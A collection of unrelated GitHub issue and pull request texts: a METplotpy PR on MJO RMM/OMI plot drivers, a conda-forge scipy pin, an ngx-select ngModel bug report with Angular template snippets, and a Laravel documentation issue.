   3. Use the following PYTHONPATH:  (replace with your own MJO_HOME):
        _export PYTHONPATH=${MJO_HOME}:${MJO_HOME}/METplus:${MJO_HOME}/METcalcpy:${MJO_HOME}/METdatadb:${MJO_HOME}/METdatadb/METdbLoad:${MJO_HOME}/METdatadb/METdbLoad/ush:${MJO_HOME}/METplotpy:${MJO_HOME}/METplotpy/metplotpy/contributed:${MJO_HOME}/METplotpy/metplotpy/contributed/mjo_rmm_omi_

[x] Recommend testing for the reviewer(s) to perform, including the location of input datasets, and any additional instructions:

Do the same for RMM and OMM to generate plots (UserScript_fcstGFS_obsERA_RMM.conf and UserScript_fcstGFS_obsERA_OMI).conf to verify that RMM and OMI plots are created.

[x] Do these changes include sufficient documentation updates, ensuring that no errors or warnings exist in the build of the documentation? [Yes or No] No

[x] Do these changes include sufficient testing updates? [Yes or No] no

[x] Will this PR result in changes to the test suite? [Yes or No] No
If yes, describe the new output and/or changes to the existing output:

[x] Please complete this pull request review by [Fill in date].
Before Tuesday June 15, 2021

Pull Request Checklist
See the METplus Workflow for details.

[x] Complete the PR definition above.
[ ] Ensure the PR title matches the feature or bugfix branch name.
[ ] Define the PR metadata, as permissions allow.
Select: Reviewer(s)
Select: Organization level software support Project or Repository level development cycle Project
Select: Milestone as the version that will include these changes
[ ] After submitting the PR, select Linked issues with the original issue number.
[ ] After the PR is approved, merge your changes. If permissions do not allow this, request that the reviewer do the merge.
[ ] Close the linked issue and delete your feature or bugfix branch from GitHub.

This worked for me for all 2 drivers (RMM_driver.py, OMI_driver.py, and PhaseDiagram_driver.py).  What kind of documentation do we need for this?

For the Hovmoeller and cross-spectra plotting/calculations, we put the
documentation in the METplus use cases section and in METplotpy
documentation we put a link to the METplus documentation.
Minna Win
Pronouns: she/her
National Center for Atmospheric Research
Developmental Testbed Center
Phone:<PHONE_NUMBER>
Fax:<PHONE_NUMBER>
On Thu, Jun 10, 2021 at 3:34 PM Christina Kalb @.***>
wrote:

This worked for me for all 2 drivers (RMM_driver.py, OMI_driver.py, and
PhaseDiagram_driver.py). What kind of documentation do we need for this?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/dtcenter/METplotpy/pull/120#issuecomment-859090308,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AA4UJHTDFEMIA3FNWRLXM3LTSEVVZANCNFSM46M7F6XQ
.


Closing modal feels sluggish - any way to change the speed?

No offence, but please edit the issue according  to the template.


Add pin for scipy

This PR adds a max pin for scipy, see https://git.ligo.org/lscsoft/gstlal/-/issues/122.

Checklist

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


ngx-select issues with [ngModel] and async pipe

ngx-select does not property display the selected value when using an inline array with ngModel
i.e.
<ngx-select [ngModel]='[model.someStringId]' (ngModelChange)="model.someStringId = $event[0]">
    <ngx-select-option *ngFor="let option of myOptions$ | async" [name]="option.name" [value]="option.value" ></ngx-select-option>
</ngx-select>

fix appears to be via using a property for the ngModel and using NgIf on the select for the stream;
i.e.
<ngx-select *ngIf="myOptions$ | async as options" [(ngModel)]="selection" (change)="handleChange($event[0])">
    <ngx-select-option *ngFor="let option of options" [name]="option.name" [value]="option.value" ></ngx-select-option>
</ngx-select>

selection: string[] = [model.someStringId]

Incorrect behavior demo

markup causing behavior

TODO: make reproducible

Looks to be that the this.options is an empty array (or old values) when updating the list of options for selection inside of SelectInputComponent
potential fix would be to run the calcSelectedOptions function as a setting for the this.options to have those recalculated.
though I don't think this explains why the ngModel was not working when inlined [mode.someId]
🤔


Open Source : 6.56 Explain everything related to Laravel Framework

Description
Open Source : 6.56 Explain everything related to Laravel Framework

NOTE
Please put your doc 6.Popular_Projects with the name 6.56_Laravel.md

Domain
Open Source

Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

Domain
Open Source
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

Domain
Open Source
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

@Aryamanz29, can I work on this issue?